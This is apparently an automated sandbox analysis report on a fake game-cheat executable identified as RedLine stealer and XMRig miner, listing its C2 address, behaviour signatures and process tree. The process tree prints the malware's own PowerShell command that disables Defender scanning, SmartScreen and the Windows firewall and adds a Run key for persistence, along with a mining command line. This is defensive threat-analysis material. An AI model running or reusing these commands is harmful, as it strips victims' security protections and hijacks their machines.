Analysis

  • max time kernel
    153s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    12/10/2021, 21:54

General

  • Target
    Rust_hack_v6.4.2_x64_stable.exe
  • Size 459KB
  • Sample211012-1r76radafm
  • SHA256 3974c6e4ebb068f2600005739259d63edfac659dea5a3b7d17cd8c7d3e248aa3
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • redline

Botnet
  • @k4n3k1s4n

C2
  • 135.125.40.64:15456

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Modifies Windows Firewall 1 TTPs
  • VMProtect packed file 6 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Rust_hack_v6.4.2_x64_stable.exe
    "C:\Users\Admin\AppData\Local\Temp\Rust_hack_v6.4.2_x64_stable.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Users\Admin\AppData\Local\Temp\Rust_hack_v6.4.2_x64_stable.exe
      C:\Users\Admin\AppData\Local\Temp\Rust_hack_v6.4.2_x64_stable.exe
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Users\Admin\AppData\Local\Temp\updater.exe
        "C:\Users\Admin\AppData\Local\Temp\updater.exe"
        3⤵
        • Executes dropped EXE
        • Drops startup file
        • Loads dropped DLL
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:604
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
          4⤵
          • Modifies security service
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1152
          • C:\ProgramData\UpSys.exe
            "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1980
            • C:\ProgramData\UpSys.exe
              "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:764
              • C:\ProgramData\UpSys.exe
                "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
                7⤵
                • Executes dropped EXE
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1744
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                  8⤵
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:532
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
            5⤵
              PID:1100
          • C:\ProgramData\Systemd\Common.exe
            ￯ᄏ﾿ -o pool.minexmr.com:4444 -u 47Sb7VTFihUMCCw2BwdAWY8oRn2po9V8PWPjDeKnySZMAS4MHN7UUTEHvB3eyVtwRPFvXdnZRHMQAHit44ngWFVJD9TZzzq -p ac31arm1a5ssalker10449 --coin=XMR --cpu-max-threads-hint=35
            4⤵
            • Executes dropped EXE
            • Checks BIOS information in registry
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of AdjustPrivilegeToken
            PID:2016

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/532-131-0x000000001AC80000-0x000000001AC81000-memory.dmp

          memory/532-134-0x0000000001FC0000-0x0000000001FC1000-memory.dmp

          memory/532-132-0x000000001AC00000-0x000000001AC02000-memory.dmp

          memory/532-133-0x000000001AC04000-0x000000001AC06000-memory.dmp

          memory/532-130-0x0000000001D90000-0x0000000001D91000-memory.dmp

          memory/532-135-0x0000000001C80000-0x0000000001C81000-memory.dmp

          memory/604-76-0x000000013FCD0000-0x000000014023B000-memory.dmp

          memory/604-79-0x000007FEFBC41000-0x000007FEFBC43000-memory.dmp

          memory/1096-62-0x00000000042F0000-0x00000000042F1000-memory.dmp

          memory/1096-60-0x0000000000B60000-0x0000000000B61000-memory.dmp

          memory/1152-100-0x000000001A870000-0x000000001A871000-memory.dmp

          memory/1152-89-0x00000000025E0000-0x00000000025E1000-memory.dmp

          memory/1152-86-0x00000000025B0000-0x00000000025B1000-memory.dmp

          memory/1152-88-0x000000001A8B4000-0x000000001A8B6000-memory.dmp

          memory/1152-87-0x000000001A8B0000-0x000000001A8B2000-memory.dmp

          memory/1152-84-0x000000001AC80000-0x000000001AC81000-memory.dmp

          memory/1152-120-0x000000001AB70000-0x000000001AB71000-memory.dmp

          memory/1152-97-0x00000000027C0000-0x00000000027C1000-memory.dmp

          memory/1152-83-0x0000000002570000-0x0000000002571000-memory.dmp

          memory/1152-113-0x000000001A950000-0x000000001A951000-memory.dmp

          memory/1152-114-0x000000001A960000-0x000000001A961000-memory.dmp

          memory/1176-63-0x0000000000400000-0x0000000000422000-memory.dmp

          memory/1176-66-0x0000000000400000-0x0000000000422000-memory.dmp

          memory/1176-71-0x0000000004C10000-0x0000000004C11000-memory.dmp

          memory/1176-69-0x0000000000400000-0x0000000000422000-memory.dmp

          memory/1176-67-0x0000000000400000-0x0000000000422000-memory.dmp

          memory/1176-65-0x0000000000400000-0x0000000000422000-memory.dmp

          memory/1176-64-0x0000000000400000-0x0000000000422000-memory.dmp

          memory/2016-94-0x0000000000400000-0x0000000001280000-memory.dmp

          memory/2016-93-0x0000000000400000-0x0000000001280000-memory.dmp

          memory/2016-95-0x0000000000400000-0x0000000001280000-memory.dmp

          memory/2016-121-0x0000000000370000-0x0000000000390000-memory.dmp

          memory/2016-96-0x0000000000400000-0x0000000001280000-memory.dmp

          memory/2016-102-0x00000000002F0000-0x0000000000310000-memory.dmp